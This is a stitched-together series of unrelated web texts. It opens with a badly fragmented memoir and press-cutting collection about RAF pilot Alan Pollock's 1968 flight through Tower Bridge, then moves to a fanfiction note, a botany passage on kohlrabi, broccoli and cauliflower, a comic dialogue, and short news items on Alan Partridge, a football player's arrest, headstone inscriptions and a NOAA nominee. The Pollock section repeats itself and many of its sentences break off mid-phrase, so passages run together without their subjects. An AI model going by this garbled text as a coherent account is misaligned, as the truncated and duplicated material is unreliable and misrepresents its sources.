The section leader and section downstairs meanwhile were in a slight panic - all five aircraft had taken off, verbally authorised but certainly not signed up on any authorisation sheet. Begged to follow noble traditions and "cook the books straight" and mildly amused at their level of fear, I obliged by signing up!
Next I went up to the Mess with the Wing Commander Admin, another splendid officer also called Wood, after the Station
After a day and a half I became rather fractious at being held under close arrest for obviously "political" reasons and asked to be released to open arrest. My deaf
However, the press made it uncomfortable and I remained cooped up inside in a state of siege. To take the heat off I was taken to Nocton Hall.
Always an athletic climber and in high spirits - 14 years earlier I regularly climbed with, but below fellow course member Chris Bonington - I climbed out and onto a roof unnoticed and wickedly watched with some glee the intriguing denouement below.
I was transferred to Wroughton where the suppressed pneumonia following my terribly heavy cold broke out. A combination of drugs and disillusion now slowly sapped my spirit.
Only the normally cheerful airman was there to greet me on to my chock. Cutting the HP cock, the Hunter's Avon shut down with that unique intermittent cacophony of cooling blades and tolerances like some giant desyncopated lawnmower. Feeling rather pleased that I had a few more minutes before the thunder of the gods was unleashed, I asked the lad if he'd mind getting my overnight bag out of the radio bay, something I invariably did for myself. While he proceeded with this task, I had the opportunity of doing what I wanted to but thought I might not get any chance to. Professionally, I felt thoroughly ashamed of the scribbled marks and tatty appearance of the quarter million map on which I had navigated up from Tangmere without problem. Certainly I did not want this dog-eared relic produced as an exhibit before some bleary Group Captain at my, or should I say Tangmere's, Court Martial. So I casually walked in to Wing Ops, borrowed some matches and burnt the map outside out of sight.Next I went to ground in the MT section to chat up the switchboard girl and put through private calls to my wife, my wife's mother and my parents. I told them what had happened and why my Anniversary sortie was flown, that I would be under close arrest for at least a couple of days and on no account were they to say anything to the Press if badgered by them. The station telephone operator somewhat apologetically said there was a small delay as they'd just had two "Lightning" priority calls, quite outside her long experience. "The balloon's possibly gone up" I said drily, without too much revelation to her.Then I went back to the squadron, climbing upstairs to tell first Boss Jones, who was with our OC Flying Wg Cdr Ron Wood, and later the Station Commander, Gp Capt Basil Lock, what they knew already. By nature used to fast moving situations they took it all coolly in their stride. Spike Jones seemed strangely relieved that Whitehall wasn't littered with leaflets! At the end it was left to me to suggest that perhaps I ought to be placed under arrest!__________________________________________________________________________________________________________________________________________________________________________________________________________________The section leader and section downstairs meanwhile were in a slight panic - all five aircraft had taken off, verbally authorised but certainly not signed up on any authorisation sheet. Begged to follow noble traditions and "cook the books straight" and mildly amused at their level of fear, I obliged by signing up!Next I went up to the Mess with the Wing Commander Admin, another splendid officer also called Wood, after the Station M.O. had examined me, finding me absolutely normal. After such little sleep, I was restless. Exhausted but unable to sleep, I asked the doc. for something to help me sleep at 1.30 p.m. This was refused and, as was apparently normal service procedure on occasions like this, I had to wait seven hours further for them to get hold of an RAF psychiatrist. He eventually arrived at 8.30 p.m. and after an hour or so pronounced me quite definitely of sure mind, but in a rather tired and cold-ridden body.After a day and a half I became rather fractious at being held under close arrest for obviously "political" reasons and asked to be released to open arrest. My deaf AOC last month was now even deafer. With my spirits high I then started playing up, locking up my officer guard.However, the press made it uncomfortable and I remained cooped up inside in a state of siege. To take the heat off I was taken to Nocton Hall.Always an athletic climber and in high spirits - 14 years earlier I regularly climbed with, but below fellow course member Chris Bonington - I climbed out and onto a roof unnoticed and wickedly watched with some glee the intriguing denouement below.I was transferred to Wroughton where the suppressed pneumonia following my terribly heavy cold broke out. A combination of drugs and disillusion now slowly sapped my spirit. A month later a Summary of Evidence took place which lasted five days. With the squadron in North Africa and almost incommunicado, my morale was shaken. Two weeks or so later, despite the strong recommendation from Wroughton that I was quite fit enough to stand Court Martial, for political expediency the Under Secretary of State for Air pronounced in a press release that I would not be tried by Court Martial, but would be invalided out of the Air Force. Having dispensed some Air Force justice myself, I was astounded. I was very angry and repeatedly asked for what I knew was my statutory right, to see my
With tremendous resolve I fought back in a sinister game, the bureaucratic dice of which were increasingly loaded against me for reasons which were only to become clear fairly recently, when the Hugh Cudlipp and May 1968 "Whitehall plot" against the P.M. was revealed.
The bizarre circumstances included a later arrest: the clear statement of my true position and the drug situation at the Summary of Evidence in front of four witnesses and in writing, the cancelled Court Martial, which I had openly sought and had been declared fully fit for by the specialists; the copy of my Summary being forcibly taken back, then later "destroyed" so it was never found again; myself and the country being told of the outcome of a Medical Board in the press by the Secretary of State for Air before even a board had been convened; the refusal of any help in a 10 year cover up; the complete and absolute change of Medical Board findings before and after discharge; the tax position switch after a threat to expose the British Government in Zurich; the persistent withholding of any right of appeal until 1982 when my case was finally vindicated; and the total refusal of my
Following some friendly counsel, I realised then that I had to accept Hobson's choice and decided that my next move should be after I was actually receiving my pension. Then I would petition against what I knew was an unjust decision, taken to avoid any public enquiry into the Government's other arbitrary decision to cancel the Anniversary Flypast.
I received over 100 letters from the general public and all strata of present and former members of the RAF, as well as members of the other two service arms I admired most, the Royal Navy and the Special Air Service - both of which I had operated with - and they bore witness to the fact that a lot of other people were not satisfied either.
Subsequently after a painfully difficult career "re-light" in 1968/1969 and labelled like an intellectual leper, my languages and aggressive fighter training gave me a perfect career base for success in exporting. Tomorrow is a new day!
(Courtesy Flypast Magazine September 1981/82) PRESS CUTTINGS FLIGHT International 18 April 1968
The Man Who Shot the Bridge
The RAF pilot who flew a
He was
Whatever their views on the responsibility and possible consequences of flying a jet fighter through the 200 ft-wide, 110 ft-deep aperture framed by the towers, the bascules and the upper span of Tower Bridge, there is unanimity among pilots that it was a handsome piece of flying.
was the first pilot to fly through the bridge in a downstream direction, following the gentle sinuousities of King's Reach from the Waterloo bend and passing over Blackfriars' two bridges (road and rail), Southwark Bridge, Cannon Street rail bridge, and London Bridge. After clearing the last he probably had little more than five seconds to align himself with the eye of the needle presented by Tower Bridge, retaining until the last fraction of a second the option of pulling up had he found the opening partly obstructed by abnormally high vehicles, by hanging cradles or by the bascules opening.
It has been reported that
The RAF and civil authorities were tussling last week about whether
Attitudes to the Tower Bridge exploit of past and present members of the RAF whom we have questioned vary from the very strongly censorious to the frankly admiring; but an unvarying theme was that some RAF protest was called for, without infringing flying discipline.
TOWER BRIDGE PILOT: MOVE BY MPs
By Daily Mail Reporter
SIX MPs last night put down a Commons motion on behalf of the 'Tower Bridge pilot.
But later it was withdrawn.
The MPs were advised it was unacceptable because the case against
Four of the MPs were in the RAF.
, 32 and red-haired, flew a
And he 'buzzed' the Houses of Parliament.
Protest
It was his protest against the official refusal to allow a ceremonial fly-past over London to mark the RAF's 50th anniversary.
Last night a legal wrangle was still going on over his daredevil exploits.
The RAF want him court, martialled. London police want him tried in a civil court.
One of the men who had signed the motion was Sir William Teeling, a former Flight Lieutenant in the RAF, who is Conservative MP for Brighton Pavilion.
Others who had signed the motion were Mr Mark Woodnutt (Cons., Isle of Wight), a Royal Artillery officer and PoW; Mr David Crouch (Cons., Canterbury), an Army major who was attached to the RAF as a Staff Officer; Mr Brian Walden (Lab., All Saints), who served in the RAF; Mr John Pardoe (Lib., North Cornwall), a Fighter Command officer, and Mr William Owen (Lab., Morpeth).
Didn't Know
flew the
He lives with his wife and four children at Hyde Close, RAF Bircham- Newton, Norfolk.
His wife Patricia. said : I have not spoken to anybody about this because the Ministry told me I must not.
Hunter to Tower--Under An RAF
The MoD was investigating as we closed for press; the supposition was that the aircraft was an FGA.9 of 1 or 54 Squadrons, which comprise the close-support wing at RAF West Raynham. The station refused comment, but flying was taking place that day. Visibility was excellent. Some authorities attributed the incident to widespread resentment that the RAF had been deprived of a ceremonial fly-past over the capital on 50th anniversary day, April 1. The Red Arrows were expecting to make this flypast last month, but permission was presumably denied. A Ministry of Defence spokesman to whom we were referred at press time by the duty officer at RAF West Raynham, was not then able to reveal the name of the pilot.
Queen's RAF Tribute "A most important and, indeed, vital future for the Royal Air Force" was referred to by the Queen when she spoke at the RAF golden jubilee dinner at Lancaster House, London. on April 1.
Her Majesty said that the future for the RAF, and for the Armed Services as a whole, would be different from the past; but it would be most important; "our security depends upon it, the security of our friends and allies in many parts of the world depends on it, and in the end the peace of the world depends upon it." A month later a Summary of Evidence took place which lasted five days. With the squadron in North Africa and almost incommunicado, my morale was shaken. Two weeks or so later, despite the strong recommendation from Wroughton that I was quite fit enough to stand Court Martial, for political expediency the Under Secretary of State for Air pronounced in a press release that I would not be tried by Court Martial, but would be invalided out of the Air Force. Having dispensed some Air Force justice myself, I was astounded. I was very angry and repeatedly asked for what I knew was my statutory right, to see my A.O.C.-in-C. This opportunity was denied me. I was told that if I did not accept the invaliding out, with the inducement of my small pension, my services could be dispensed with under a certain Queen's Regulation, without any formal disciplinary action or comeback.With tremendous resolve I fought back in a sinister game, the bureaucratic dice of which were increasingly loaded against me for reasons which were only to become clear fairly recently, when the Hugh Cudlipp and May 1968 "Whitehall plot" against the P.M. was revealed.The bizarre circumstances included a later arrest: the clear statement of my true position and the drug situation at the Summary of Evidence in front of four witnesses and in writing, the cancelled Court Martial, which I had openly sought and had been declared fully fit for by the specialists; the copy of my Summary being forcibly taken back, then later "destroyed" so it was never found again; myself and the country being told of the outcome of a Medical Board in the press by the Secretary of State for Air; the refusal of any help in a 10 year cover up; thechange of Medical Board findings before and after discharge; the tax position switch after a threat to expose the British Government in Zurich; the persistent withholding of any right of appeal until 1982 when my case was finally vindicated; and the total refusal of my A.O.C.-in-C to allow me an officer's sole right in this sort of situation - the right to see him!Following some friendly counsel, I realised then that I had to accept Hobson's choice and decided that my next move should be after I was actually receiving my pension. Then I would petition against what I knew was an unjust decision, taken to avoid any public enquiry into the Government's other arbitrary decision to cancel the Anniversary Flypast.I received over 100 letters from the general public and all strata of present and former members of the RAF, as well as members of the other two service arms I admired most, the Royal Navy and the Special Air Service - both of which I had operated with - and they bore witness to the fact that a lot of other people were not satisfied either.Subsequently after a painfully difficult career "re-light" in 1968/1969 and labelled like an intellectual leper, my languages and aggressive fighter training gave me a perfect career base for success in exporting. Tomorrow is a new day!(Courtesy Flypast Magazine September 1981/82)FLIGHT International 18 April 1968The RAF pilot who flew a Hunter FGA.9 through Tower Bridge, London, on April 5 was no youthful prankster but a senior flight commander of 1 Sqn, RAF West Raynham, an Old Cranwellian. and the father of four children.He was Fit Lt. Alan Richard Pollock, aged 32. He was named on Sunday, April 7, by MoD (Air) too late, owing to Easter press schedules, for mention in our last week's story. Flt Lt Pollock was placed under close arrest on April 5 and released into open arrest on April 7. A board of inquiry was convened at West Raynham on April 8. An all-party motion signed by six M Ps was tabled in the Commons in his support but was ruled unacceptable.Whatever their views on the responsibility and possible consequences of flying a jet fighter through the 200 ft-wide, 110 ft-deep aperture framed by the towers, the bascules and the upper span of Tower Bridge, there is unanimity among pilots that it was a handsome piece of flying. Flt Lt Pollock was the first pilot to fly through the bridge in a downstream direction, following the gentle sinuousities of King's Reach from the Waterloo bend and passing over Blackfriars' two bridges (road and rail), Southwark Bridge, Cannon Street rail bridge, and London Bridge. After clearing the last he probably had little more than five seconds to align himself with the eye of the needle presented by Tower Bridge, retaining until the last fraction of a second the option of pulling up had he found the opening partly obstructed by abnormally high vehicles, by hanging cradles or by the bascules opening.It has been reported that Flt Lt Pollock peeled off from a formation returning from RAF Tangmere, where he had led four Hunters on display duties. This might have accounted for his choice of direction. The absence of pre-placed photographers, who always seem to have been around on previous Tower Bridge buzzings, seems to rule out premeditation. Another explanation of why he preferred the crane-lined Upper Pool downstream of Tower Bridge for his climb-out when all previous pilots have used it for the run in may have been to avoid climbing through flight levels occupied by airliners on the approach to Heathrow had he made a westerly climb-out. He turned to port over the City.The RAF and civil authorities were tussling last week about whether Flt Lt Pollock should be court-martialled or tried in a civil court. His one-man fly-past was construed in and outside the RAF as an expression of resentment felt by many in the Service - including those now responsible for deciding his punishment - of the way the Royal Air Force is being treated by the Government. It may he that the last straw was the cancellation of the 50th anniversary fly-past over the capital on April 1. A fly-past planned in conjunction with the Lancaster House dinner with the Queen was cancelled at the last moment as "inappropriate." A mid-day fly-past, seen by the maximum number of Londoners and visitors, would have been most "appropriate" on this occasion.Attitudes to the Tower Bridge exploit of past and present members of the RAF whom we have questioned vary from the very strongly censorious to the frankly admiring; but an unvarying theme was that some RAF protest was called for, without infringing flying discipline.By Daily Mail ReporterSIX MPs last night put down a Commons motion on behalf of the 'Tower Bridge pilot.But later it was withdrawn.The MPs were advised it was unacceptable because the case against Flight Lieut. Alan Pollock was still sub judice.Four of the MPs were in the RAF. Flight Lieutenant Pollock, 32 and red-haired, flew a Hunter jet fighter through Tower Bridge at 400 m.p.h. on Friday.And he 'buzzed' the Houses of Parliament.It was his protest against the official refusal to allow a ceremonial fly-past over London to mark the RAF's 50th anniversary.Last night a legal wrangle was still going on over his daredevil exploits.The RAF want him court, martialled. London police want him tried in a civil court.One of the men who had signed the motion was Sir William Teeling, a former Flight Lieutenant in the RAF, who is Conservative MP for Brighton Pavilion.Others who had signed the motion were Mr Mark Woodnutt (Cons., Isle of Wight), a Royal Artillery officer and PoW; Mr David Crouch (Cons., Canterbury), an Army major who was attached to the RAF as a Staff Officer; Mr Brian Walden (Lab., All Saints), who served in the RAF; Mr John Pardoe (Lib., North Cornwall), a Fighter Command officer, and Mr William Owen (Lab., Morpeth). Flight Lieut. Pollock flew the Hunter from RAF West Raynham, Norfolk, HQ of the No. l Hunter jet Squadron.He lives with his wife and four children at Hyde Close, RAF Bircham- Newton, Norfolk.His wife Patricia. said : I have not spoken to anybody about this because the Ministry told me I must not.An RAF Hunter flew through Tower Bridge, London, in a down-river direction just after noon last Friday, April 5. The Hunter, carrying underwing tanks, was glimpsed momentarily from Flight's offices in a descending, mushing turn until lost to sight behind United Africa House. Previous flights through Tower Bridge - never in a jet, and never so fast - have invariably been made in an up-river direction.The MoD was investigating as we closed for press; the supposition was that the aircraft was an FGA.9 of 1 or 54 Squadrons, which comprise the close-support wing at RAF West Raynham. The station refused comment, but flying was taking place that day. Visibility was excellent.A Ministry of Defence spokesman to whom we were referred at press time by the duty officer at RAF West Raynham, was not then able to reveal the name of the pilot."A most important and, indeed, vital future for the Royal Air Force" was referred to by the Queen when she spoke at the RAF golden jubilee dinner at Lancaster House, London. on April 1. Bridge Pilot Leaving RAF THE RAF AUTHORITIES have decided not to court martial
The MoD (Air) announced on May 31 that the in the light of medical opinion not to bring if he were brought to trial it would probably have a damaging effect on his health, both immediately and in the long term. "
In an unprecedented, and some might think unusual way, the statement went on to anticipate the findings of a medical board not yet convened, in adding: "When he is well enough he will come before a medical board and is expected to be invalided from the RAF."
The decision follows by some weeks that of the City of London Police to take no action against His implied discharge on medical grounds begs many questions, in particular those concerning the level of support which his demonstration - against the failure of the Government to acknowledge reasonably the RAF's 50th anniversary - enjoys in the Service. Certainly there have been several expressions of support and sympathy for Pollock's action made to Flight by serving RAF officers in recent weeks.
In making this strange decision the MoD seems to impugn
Flight International, 18 April, 1968 "Timid" RAF Flying? Letters SIR,-The beating-up of Central London and Tower
Bridge by a
yet quite dead in the RAF. The apparently timid fashion
in which some RAF aircraft have been flown at air displays during recent
years had led me to believe that pilots who were willing to fly in a
spirited fashion, using fine judgment in the process (and thereby
increasing their efficiency as fighting pilots), no longer existed in
the RAF.
I bet that this flight gave the aircraft knockers and the Neddies in
Whitehall (who don't know what aircraft are, anyway, or so it would
seem) something to think about.
Good luck to the pilot! I would rather trust the defence of this country
to a handful of his type than to a great number of the timids.
Redditch, Worcs J. G. ROBINSON
32 Cha VII MAFL
"Where intoxication is brought on by unskilful medical treatment..... a person while under its influence will not be criminally responsible for his actions...."
Rare side effect problems were known even in 1968 from the drugs given in those previous days, linked with the lack of sleep problem on the three days before and after the flight, interacting with the ensuing pneumonia. No-one has a right to a court martial but in law, theoretically, one should not be worse placed for not having one!
Radio Broadcast by Al - 5Apr10 I was asked to give a minor burst for the World Service, which was wanted on 5th April 2010 for them, at
http://www.bbc.co.uk/iplayer/episode/p006xbvc/Witness_Tower_Bridge_Jet/
after a BBC bloke's editing down (nearly correct) his Q & A's. Two More Copies of Press Articles About Al's Adventure http://www.veteransnewsnow.com/2015/03/19/the-day-tower-bridge-was-so-rudely-violated/
http://www.veteranstoday.com/2015/03/17/the-day-tower-bridge-was-so-rudely-violated/
THEhave decided not to court martial Flt Lt Alan Pollock, 32, who on April 5 flew his Hunter FGA.9 between the two towers, the bascules and the upper span of London's Tower Bridge.The MoD (Air) announced on May 31 that the AOC-in-C, Air Support Command, Air Marshal Sir Thomas Prickett, has decidednot to bring Flt Lt Pollock to trial by court martial. Flt Lt Pollock has recently been in Ely and Wroughton RAF hospitals with pneumonia. The statement said that medical opinion was that ", and some might think, the statement went on to, in adding: "When he is well enough he will come before a medical board and is expected to be invalided from the RAF."The decision follows by some weeks that of the City of London Police to take no action against Flt Lt Pollock in the civil courts.Certainly there have beenIn making this strange decision the MoD seems to impugn Flt Lt Pollock's mental health for it is highly unlikely that a court martial would have adverse medical effects upon a man simply recently recovered from pneumonia. There seems little doubt that from the authorities' point of view Flt Lt Pollock's recent illness, and a medical discharge, has provided a felicitous way of avoiding punishing Pollock for manifesting resentments widely shared throughout the Service and to the public expression of which a court martial might well have led.Flight International, 18 April, 1968SIR,-The beating-up of Central London and TowerBridge by a Hunter signifies to me that the adventurous spirit is notyet quite dead in the RAF. The apparently timid fashionin which some RAF aircraft have been flown at air displays during recentyears had led me to believe that pilots who were willing to fly in aspirited fashion, using fine judgment in the process (and therebyincreasing their efficiency as fighting pilots), no longer existed inthe RAF.I bet that this flight gave the aircraft knockers and the Neddies inWhitehall (who don't know what aircraft are, anyway, or so it wouldseem) something to think about.Good luck to the pilot! I would rather trust the defence of this countryto a handful of his type than to a great number of the timids.Redditch, WorcsJ. G. ROBINSON"Where intoxication is brought on by unskilful medical treatment..... a person while under its influence will not be criminally responsible for his actions...."Rare side effect problems were known even in 1968 from the drugs given in those previous days, linked with the lack of sleep problem on the three days before and after the flight, interacting with the ensuing pneumonia. No-one has a right to a court martial but in law, theoretically, one should not be worse placed for not having one!I was asked to give a minor burst for the World Service, which was wanted on 5th April 2010 for them, atafter a BBC bloke's editing down (nearly correct) his Q & A's.Chapter 31: You're Under Arrest!
Sun! Neptune! Cinder! And all the rest! With that roster for this climax, how can it go wrong? Well, if I was more of a hack writer than I am right now, I'm sure that it could actually get worse. But, since I straddle the line between hack and genius writing, I'm sure that it'll turn out great! Right? Right. Anyway, with all that being said and done, let's get to the thrilling, action-packed, and amusing climax of You're Under Arrest! Let's feel that heat!
xxx
Sun and Neptune stopped as soon as they reached the door's threshold.
Looking around, they saw that they were inside another large room. From the looks of it, this room appeared to be a storage room. You know, what one would normally expect to be present in a warehouse. Large weapon storage crates lined the room, with a few halogen lamps scattering light from up above.
Carefully, Neptune and Sun began to creep around the room. That one large stack of storage crates really drew their attention, as well as their concern. It was large enough for anyone to hide anything behind |
support. New parenchyma cells originate from–you guessed it–parenchyma meristem in the stem. Now imagine the parenchyma tissue in this main axis proliferating, allowing massive expansion of the radius of the base of main stem, morphing the stem into a thick, squat bulb. That is the domestication history of kohlrabi, recorded in Europe since the 15th century (Vaughan and Geissler 2009). The leaves are often cut off in kohlrabi at the grocery store, just leaving little spikes of petiole, but if they are left on, you can immediately see (and taste) the similarity to collard green leaves. The skin on the kohlrabi is tough – sometimes the lateral meristem has produced a thin layer of wood – and it should usually be peeled off. Then you can either thinly slice the kohlrabi into rounds or julienne slice it to enjoy it fresh, or you can cube it and roast or steam it and dress it however you’d like. Julienne-cut fresh kohlrabi is great combined with similarly cut fresh apple or pear and onion and tossed with a mustard vinaigrette into a unique slaw.
Broccoli and cauliflower: expansion of the inflorescence
The big-headed broccoli most commonly grown in the United States is only one of the dizzying number of varieties of broccoli to be found in Italy, where the earliest written records of the vegetable date to the 16th century (Gray 1982). Cauliflower is likely derived from one of these Italian varieties of broccoli (Gray 1982). Broccoli and cauliflower are notable for exceptionally large inflorescences (flower clusters), arranged in branched florets atop its thick (edible) main inflorescence stem rising out of the rosette of large basal leaves typical of the species. See the picture at right of the broccoli plant with the main inflorescence (broccoli head) cut off. You can see the big basal leaves that look very much like collard greens and small lateral broccoli florets branching off from the cut main stem. Those large, typically tougher basal leaves of all of these B. oleracea varietals are completely edible. They will soften with a long braise. A delicious Thai appetizer, however, uses raw broccoli leaves as the substrate for a tasty wrap!
The inflorescence is usually harvested before the flower buds mature and open into the little yellow flowers typical of the species. A blooming piece of broccoli inflorescence gone well past harvest condition from a broccoli field is pictured at left. Notice the similarity of the flowers to the flowers of the wild yellow mustard above. Sometimes bunches of broccoli left too long in the fridge will open a few flowers.
The path from wild B. oleracea to broccoli and cauliflower required modifications to the timing and location of the transition from vegetative growth to reproductive development. Forming reproductive structures (flowers, fruits, seeds) on a particular stem requires two meristem transformations, pictured on the schematic diagram above. First, shoot meristem becomes inflorescence meristem, which produces the stem structure supporting the flowers. This flower-supporting stem, which may be highly branched, is the inflorescence.
How to make a cauliflower seed
To actually get flowers atop an inflorescence, inflorescence meristem must become floral meristem, which forms flower structures. The tight, bumpy white “curd” forming a cauliflower head results from extensive proliferation of many mutant inflorescence meristems on top of the initial inflorescence branches that become arrested at the inflorescence meristem stage. They never elongate into more inflorescence or produce floral meristem. If cauliflower is left to develop instead of being picked when the curd is at its most dense, as is preferable in the kitchen, the curd would loosen and about 10% of the inflorescence meristem would go on to produce floral meristem and finally flowers, which is why we have cauliflower seeds at all. Broccoli shares inflorescence meristem proliferation followed by arrested inflorescence development with cauliflower, although broccoli’s inflorescence meristems do go on to produce floral meristem and initiate floral development before further expansion of the inflorescence ceases. The genetic mutations that led to the broccoli and cauliflower inflorescence type is fairly well understood and will be explained in a future post. Cauliflower heads are white, by the way, because of blanching by the large basal leaves wrapping around the curd on their own or with the guidance of a diligent farmer. If the heads aren’t blanched they will develop a pale greenish yellow color and might be more bitter.
Extraordinary diversity within a single species
Hybrids, the outcome of interbreeding between two species or cultivar groups, between these completely interfertile varietals produce vegetables with characteristics intermediate between their parent varietals. Some of these hybrids are gaining in popularity. Broccolini is a hybrid between the Italica and Alboglabra cultivar groups. Broccoflower, a green cauliflower, and other colorful cauliflower-like vegetables, are hybrids between the Italica and Botrytis groups. Broccoli rabe, or rapini, is actually a varietal of another species, Brassica rapa, to be discussed in another post.
Note that these several varietals were largely produced by modifications to non-reproductive structures. Even in broccoli and cauliflower, the plant breeders ignored the fruits and seeds of B. oleracea during domestication, and these structures are indistinguishable among the several vegetables (seeds in vials pictured at right). Purple-tinged, bumpy leaf texture, and numerous green varieties have been developed of most of these B. oleracea vegetables, reflecting broad genetic variation in this constellation of plants that have been collectively undergoing domestication for millennia.
All of these varietals have retained the cold-hardiness that helps the wild B. oleracea face frosty falls, a characteristic that undoubtedly contributed to their popularity in the cooler regions of first their native Europe and later the rest of the globe. Cruciferous vegetable enthusiasts in cool temperate regions welcome the increased sweetness of these vegetables as frost approaches in late summer and autumn. Increasing the sugar concentration of tissues is actually part of the anti-freeze system of many plants, which is switched on as temperatures fall and allows them to continue to grow or mature seeds for a while in the face of frost and prepare for winter dormancy. Enjoy the distinctive sweetness of the crucifers this fall. I hope the caterpillars did.
Update (8 April 2013): Some kales, including Red Russian kale, are actually “Siberian kales,” species Brassica napus, the same species as rutabaga, instead of B. oleracea.
References
Gray, A. R. 1982. Taxonomy and evolution of broccoli (Brassica oleracea var. italic). Economic Botany 36(4): 397-410.
Maggioni, L., R. von Bothmer, G. Poulsen, and F. Branca. 2010. Origin and domestication of cole crops (Brassica oleracea L.): linguistic and literary considerations. Economic Botany 64(2): 109-123.
Singer, S., S. Deel, and D. Walser-Kuntz. “Reconstructing the Evolution of Cauliflower and Broccoli.” Carleton College. http://serc.carleton.edu/genomics/units/cauliflower.html.
Vaughan, J. G., and A. Geissler. 2009. The New Oxford Book of Food Plants. Oxford University Press, New York.ViaBTC Cryptocurrency Trading Platform Launches
ViaBTC Blocked Unblock Follow Following May 31, 2017
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Homer: It's obvious that Greg's life jumped the shark in 2010. That's when he got married, bought a house and embraced all the traditional values he once despised. He became a parody of himself at that point.
Bart: No way, it was definitely 2009. That day he gave up his dream of being a social worker because there was more money in being a health inspector was a major nosedive.
Marge: I think you're both wrong. To me, Greg's life is as good as it ever was. It's changed, yes, and I can see why some fans of the first two decades are disappointed, but I think those changes are necessary to keep things fresh. Greg does some stuff now he never could have done in his teens and early twenties.
Lisa: Meh, I agree with Bart and Homer that his life declined at some point, but I don't feel the need to obsess over when and how. For the record though, it was probably June 4th, 2007.
Homer: Okay, but can we all agree that 2015 was the worst year of Greg's life so far?
Marge: I suppose. Discovering his wife's affair with his boss and that chronic flatulence thing were definitely low points. There were still some good moments, though, like that fishing trip, and the birth of his daughter.
Homer: That daughter was just a rehash of the son he had in 2012.
Bart: Which was itself a rehash of the son he had in 2010.
Marge: I don't know, I kind of liked the repetition. Greg is very self-aware so I almost think it was intentional, like some sort of meta-commentary on repetition itself.
Lisa: Ugh. You all need to get lives. If you like Greg's life, keep watching it. If you don't, don't. There's no need endlessly argue over your personal tastes, to have these pointless, monotonous discussions full of verbose, longwinded rants that go nowhere, that say more about your tedious obsession with Greg's life than they do about Greg's life itself.
Homer: Maybe you're right. I suppose I should just ignore the later years of Greg's life and focus on the ones I like. '03-'09, mostly, and especially 2008, Greg's undeniable peak.
Lisa: You think 2008 was the peak? Please. It was clearly....
– Jedidiah (@notoriousamoeba)Bing bang stick it in, thank you and goodnight! Alan Partridge will be back in 2016 for a new series of Mid Morning Matters.
Steve Coogan's awkward local radio DJ is returning for a second series on Sky Atlantic from February 8, according to writer Neil Gibbons. However, Sky has yet to officially confirm this.
Mid Morning Matters 2 coming Monday 8th February. — Neil Gibbons (@neilgibbons) November 5, 2015
The series was originally planned to air later this month, but has been delayed. When a fan asked why NOW TV was advertising its date as November 10, Gibbons replied: "Think so. It's been shunted around. Was meant to be November at one point I think."
Mid Morning Matters is a mockumentary sitcom that began as a series of short episodes funded by lager company Fosters, before being edited for six half-hour episodes on Sky Atlantic in 2012.
The first series was shot from the perspective of a studio webcam at North Norfolk Digital, and also starred Tim Key as Alan's 'Sidekick Simon'.
Alan has since featured in the Sky Atlantic special Welcome to the Places of My Life and the 2013 movie Alpha Papa.Top NFL Draft Pick Dre Kirkpatrick Busted for Pot Possession in Florida Star corner back anticipated to be in top-10 in upcoming NFL draft
PALMETTO, FL — Former Alabama football star Dre Kirkpatrick, along with former teammate Chris Rodgers, was arrested early Tuesday morning in Palmetto, FL on marijuana possession charges.
According to an arrest report from the Manatee County Sheriff’s Office, the players were arrested at 12:48 am Tuesday morning and charged with possessing less than 20 grams of marijuana. Both players were released on $120 bond.
The arrest resulted following a traffic stop for driving on the wrong side of the road. Police believed both players, the only occupants of the rented vehicle, to be under the influence of marijuana. A search of the vehicle turned up 7.9 grams of cannabis.
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Kirkpatrick was a star player for the Alabama Crimson Tide’s 2011 BCS Champion football team, and is expected to be drafted high in the first round of the upcoming NFL draft. The arrest came less than a week after Kirkpatrick announced he would skip his senior year at Alabama, making him eligible for the draft.
Given Kirkpatrick’s height — he is listed at 6’3″ — and his defensive ability, it is unlikely the arrest will affect his stock in this year’s NFL draft. Many football analyists predicted Kirkpatrick to be among the first ten players drafted, perhaps even in the top five.
This is Kirkpatrick’s first known arrest, and he is still expected to be drafted in the first round.
Tags: AlabamaWho, what, why: What can and can't you put on headstones?
Image copyright Thinkstock
A priest has allegedly asked a grieving family to remove a headstone from a churchyard because of an "inappropriate" inscription. But what is and isn't allowed, asks Chris Stokel-Walker.
The headstone commemorating warehouseman Mike Howsley's grave at St Mary's Church in Bamber Bridge, Lancashire, had an inscription featuring the names of his wife and daughter and ending "Sleep tight Dad", all adorned with an "x" to represent kisses. But his family say the local parish priest asked for it to be removed.
"It's a major can of worms," says Darryl Jones, a member of the National Federation of Funeral Directors. "There is no actual hard and fast set rule," Jones explains, which creates disputes. "Some vicars make up their own rules," he adds, noting that this is not the first case of which he has heard. Last year the family of a maths-loving grandfather was asked by their local parish council to alter engravings on a headstone which depicted a half-filled Sudoku square.
The answer Churches leave issues to discretion of priest
Rules unclear for municipal graveyards
"There's a bit of snobbery around this," continues Jones. "Vicars don't want kisses - they seem to think it can make the yard look distasteful. But vicars have no right to deny people the right to say what they want."
There is no central Catholic church policy on what can and can't be put on headstones, a spokesperson for the church in England and Wales says. The issue hasn't arisen before, with the small number of Catholic cemeteries making disputes such as this one rare.
Though the Church of England doesn't have centralised rules on what can be put on a headstone, its 42 dioceses each has their own set of churchyard regulations, which include guidance on the type of text permitted. The Diocese of Oxford, for example, says that "inscriptions must be simple, reverent and theologically acceptable; they may include appropriate quotations from the scriptures or literary sources." Nicknames or pet names are allowed, but in inverted commas.
For municipal burial grounds, the Department for Constitutional Affairs has outline guidance for cemetery managers, which covers "informal memorialisation" (such as soft toys placed on graves) but not what can be inscribed on a headstone. And the Local Authorities' Cemeteries Order of 1977 allows Church of England bishops the right to object to an inscription on memorials, but doesn't say on what grounds. The order does not cover non-Church of England cemeteries.
More generally, it seems likely that headstones would come under Public Order Act of 1986, which prohibits hate speech - those which feature racial or ethnic slurs are likely to be removed.
But beyond that the rules remain hazy.
Subscribe to the BBC News Magazine's email newsletter to get articles sent to your inbox.WASHINGTON — The businessman nominated by the White House to be the next administrator of the National Oceanic and Atmospheric Administration said Nov. 29 it will be a priority for him to maintain the agency’s network of weather satellites.
In a confirmation hearing held by the Senate Commerce Committee, Barry Myers, the chief executive of weather forecasting company AccuWeather, also expressed interest in alternative commercial weather data sources that NOAA is currently testing the utility of.
“Certainly the satellite programs are a challenge,” he said when asked by Sen. Tammy Duckworth (D-Ill.) about balancing investment in satellites versus other programs in the agency. “We have the best satellite program, I believe, in the world, and we have plans to continue to maintain it as such.”
Myers didn’t elaborate on those plans. The Trump administration’s 2018 budget request offered full funding for the ongoing Geostationary Operational Environmental Satellite R (GOES-R) and Joint Polar Satellite System (JPSS) programs. However, it cut funding for the Polar Follow-On program, which covers the third and fourth JPSS satellites, potentially delaying the launches of those satellites, a move criticized by some in Congress.
